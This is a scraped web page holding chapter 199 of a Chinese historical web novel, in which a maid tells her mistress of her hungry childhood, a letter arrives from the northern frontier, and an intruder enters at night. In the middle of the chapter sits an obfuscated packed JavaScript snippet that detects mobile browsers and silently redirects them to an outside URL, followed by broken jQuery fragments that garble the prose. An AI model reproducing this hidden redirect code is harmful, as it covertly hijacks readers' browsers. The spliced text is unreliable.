默认冷灰
24号文字
方正启体

199. 第 199 章

作者:绿蚁新酒本书字数:K更新时间:
    等江萱一行人回到老宅,宅院里早早就点起了灯笼,点点莹光在黑夜中闪烁。


    众人奔波一日劳累,江太夫人叫小厨房下了一碗银丝面配几样小菜,祖孙二人随意用了些便准备收拾就寝。


    江萱自觉身体不适,怕传染给江太夫人,遂用膳前就命人将东厢房收拾出来,待漱口净面后便坐在东厢房那张雕海棠遍地连理枝的紫檀木床上。


    “姑娘,姜汤来了。”


    趁江萱还未洗漱,竹沁端着一碗冒热气的温热姜汤进来,亲手递给江萱。


    屋子内的炭烧得通红,一盏姜汤落肚,江萱瞬间感觉自内而外的暖和了起来,顺手把用尽的碗盏递给竹沁,却见她眼角微红,像是哭过的样子。


    “这是怎么了?好端端的怎么眼圈这么红?”竹沁向来稳重,人前甚少有失态的地方,江萱见她如此,忍不住问道。


    竹沁接过碗盏,忙擦去眼角泪痕,道:“奴婢没事,只是一时情难自已,还望姑娘不要怪罪。”


    江萱闻言正襟危坐:“这是为何?”


    “我是家生子,自小在庄子里长大,同姑娘今天所见的那些人无二。冬日大雪压塌房屋,夏日蚊虫肆虐叮咬,都是寻常事。平日里还要帮着庄头犁地播种施肥干种种农活,每日所食不过一点糙米一捧杂粮兼几根野菜罢了。”


    “我不止一次庆幸自己能够入府做活,日子虽忙至少也是衣食无忧,不必担心自己哪日病死在家中那床破草席上,连死了都只是找个地方随意埋葬,连块碑也立不住。抑或成了那对祖孙俩,在冬日被当作一点光热烧了,连副全尸都留不下。”


    床头的宫样烛台轻轻晃了下,映照竹沁眼底忽明忽暗的回忆。她淡淡开口,眼神却一动不动地盯着炭盆里烧得正旺的炭火。


    “从前在庄子上我也有几个交好的姐妹,平日轮值偶尔也会回庄子上看看她们。她们和我一样大,但没有被管事选入江宅的福分,早早的成了亲拜了堂,连孩子都生了两个。”


    “姑娘不知道,当我看到她们挤在那间屋顶漏雨窗口漏风的草屋里,明明我也是这样过来的,可我竟然觉得这像是上辈子的事。”


    “如果我没有被管事选中入府伺候洒扫,也许我过得本该就是这样的生活。嫁个庄上的汉子,生一窝和自己小时候一样穿不起衣服吃不起饭菜的小娃娃,然后悄无声息地死在某一天。”


    竹沁垂下眼眸,遮住眼中全部的光芒。过去的经历于她而言并非难以启齿,提起这些她的脸上并没出现什么痛苦或害怕的神情,剩下的只有那么些许麻木与认命。


    “竹沁,”江萱温柔地唤了她一声,看着一串冰冷泪水自她并不白皙的脸颊上滑落,“你是在难过吗?”


    许是江萱温柔的呼唤,又或是那一串凉意唤醒她尚存的一丝清醒,空洞的眼神中渐渐有了光晕,竹沁抬手抹去泪痕,茫然地摇摇头。


    “我……奴婢不知道。可今天看到姑娘愿意将夫人从前建造的几间屋舍分给庄子上的人居住,又说服老夫人开仓施粥,奴婢不知怎得既高兴又委屈。”


    “委屈?”江萱眉心一蹙,问道。


    “是啊。”竹沁点点头,娟秀的脸上绽放出一朵小小的笑魇,“如果奴婢在小时候就遇到姑娘这样的主子就好了,奴婢的姐姐姐夫说不定就不会饿死,奴婢的小外甥或许就能来到这个世间,哪怕是看一眼也好。”


    竹沁这话听着总让人难过,偏她脸上并未呈现些许伤怀,江萱一时间不知道该说些什么安慰,只能握住她的手轻轻拍了两下。


    她自小锦衣玉食,即便是在最窘迫无助的时候都不曾有过吃不饱穿不暖的境况,是故江萱无法想象在那样的境遇下竹沁的幼年到底是如何渡过。


    并非同病相怜,何谈感同身受?


    江萱看着竹沁,柔声问道:“那之后呢,你打算怎么办?”


    “奴婢不知道。”竹沁摇摇头。未来,对于一个身不由己的丫鬟来说,太难畅想。


    江萱沉吟片刻,旋即道出一个自认为的好安排:“你的年岁也不小了,待日子稳定下来,我会求祖母给你一个好亲事。”


    这安排落在竹沁耳中虽不算晴天霹雳,但绝非她当下愿意接受的。


    竹沁慌忙跪下,频频叩首道:“奴婢不想嫁人,求姑娘成全。”


    竹沁的头在地上磕得梆梆响,江萱忙下了床,赤脚扶她起来:“起来起来,你不愿意嫁人,总得有个由头才是。”


    “我……”竹沁低着头,良久才鼓起勇气,抬头直面江萱,“奴婢只是不想和从前的那些姐妹一样,也不想让奴婢的孩子和奴婢一样,永远摆脱不了挨饿受冻为人奴仆的命运。”


    听到竹沁的话,江萱有片刻的失神,扶住她的手微微颤抖,她竟不知竹沁是这样想的。然这片刻失神落在竹沁眼中就是另一番态度。


    “奴婢失言了。”


    竹沁惶恐地再度跪下,唯恐江萱不喜欢她这样说要把她赶出去。她如今已经是无父无母的人了,若离了江氏她当真是走投无路。


    这一刻,竹沁的脸上写满了担惊受怕。与她预料的相反,江萱坐回床榻上,淡淡说道:“我知道了。”


    竹沁大着胆子抬起头,只见江萱清亮的双眸温柔地注视着她,嘴角挂着一丝浅浅笑意。


    “你的心意我知道了。如今我虽不能给你什么确切的承诺,只一句话,凡我力所能及必使你得偿所愿。”


    江萱的承诺像一粒石子落入竹沁内心的池塘,泛起阵阵涟漪。竹沁没想到江萱居然愿意给她这样的下人许下承诺,即便这个承诺是假的,此时此刻她也愿意相信。


    吱呀一声门开,阿芷搓着手抖了抖身上的寒气,见屋内情景调笑道:“好姐姐,今夜可是我当值,你怎么先躺下了呀?”


    说着,阿芷上前扶住恰好拭去眼泪的竹沁,笑着继续道:“竹沁姐姐是心疼我,怕我晚上守夜冻着,所以才帮我先暖暖床榻吗?”


    听到这话竹沁不由一笑,悄没声地轻拧了一把阿芷的腰间肉,便端着碗退身离去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530475|203676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看着阿芷与竹沁嬉笑打闹,江萱的心情也不由好上两份,连着今日因景庄所见而阴霾的心情都一扫而空。


    见竹沁走远,阿芷也不管身上脏不脏,蹿似的跑到江萱床上坐下,又在江萱好奇的目光从怀中掏出一封信件来。


    “这是门房今日送来的信,只是今早出门的时候太急忘记给阿姊了。看这上头的字,像是从北地寄来的,阿姊快打开瞧瞧,是不是李姑娘又在信中说什么新鲜事儿了?”


    江萱笑着接过阿芷手中的信,见封口处印着李谧独有印记,便知阿芷所言非虚。


    北地山高路远,自李谧孤身前往北地参军,在京城时她们几个倒也时常与之有信件往来。待江萱会到庐州,因交通不便的缘故,原先一月一封的信便改为三两月一封。


    江萱在庐州无甚好友,闲来无事时便也会想念远在京城的周宣容与居于北地的李谧,倘若陈琰、王采薇也在就好了。


    江萱眼底有一瞬间的黯淡,纤长手指掀开信纸,映入眼帘的是熟悉的飞扬跋扈的字体。


    “吾妹阿萱亲启。北地风雪霜寒,姊久居帐中倍感无趣,遂策马狩猎得两头雪豹,待硝制后做成一双豹皮手套寄予你与宣容。


    近来契丹部落蠢蠢欲动不服王教,姊亲披战甲,直捣王帐,俘狄百人,获鹿熊狼虎金雕数对,待姊回京后亲送上门。


    然契丹虽乱,尚不能成我中原心腹大患,唯有回鹘一族野心勃勃,表面与我朝修好,实则常派乱兵骚扰边境百姓。姊擒寇数十,退敌百里,意欲破虏北进,奈何主帅庸懦不允余之所求。


    且北地寒冷,边地百姓将士常受风寒之苦,不治而亡者众。姊于心不忍竭力相助,奈何人微言轻,孤身乏力,愧疚难安。惟以信件寄情,平余之心愧。


    姊李谧留。”


    李谧在北地的日子定是不及京城富庶,然她却十分怡然自得,颇有一副不破楼兰终不还的态势。


    身为好友,江萱自然为之骄傲。然读到后头,江萱却也能从字里行间里读出李谧些许的不快与忧愁。


    江萱放下信,思忖起李谧信中所提之事,想着第二日找江太夫人商议一下是否能从江家北边的几个药材铺子里调些药材至北地,也算是为国为民。


    正想着,她抬头见阿芷行至窗前,浅浅推开一道缝,不由问道:“外头这么冷怎么把窗户打开了,不怕冻着?”


    “秀姑千叮咛万嘱咐,屋里点炭火的时候定要留一道小缝以防炭气。阿姊是觉得冷吗?”阿芷一手推着窗,回过头问道。


    江萱探着头,见阿芷开得那道缝约有半个手掌她,偏她还是个怕冷的人,浅笑道:“是有点冷,还是留少点缝吧。”


    “哎。”


    阿芷方应下,正要收拢窗缝,却见一只手扒上窗棱。她尚且来不及大叫,自外头有一道人影翻窗而入,令人措手不及。


    江萱刚盖好被褥,听得窗口动静尚且来不及看清人脸,刹那间便觉喉间触上一阵冰冷,旋即院外动静愈大,叫人愈发捉摸不透因由。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)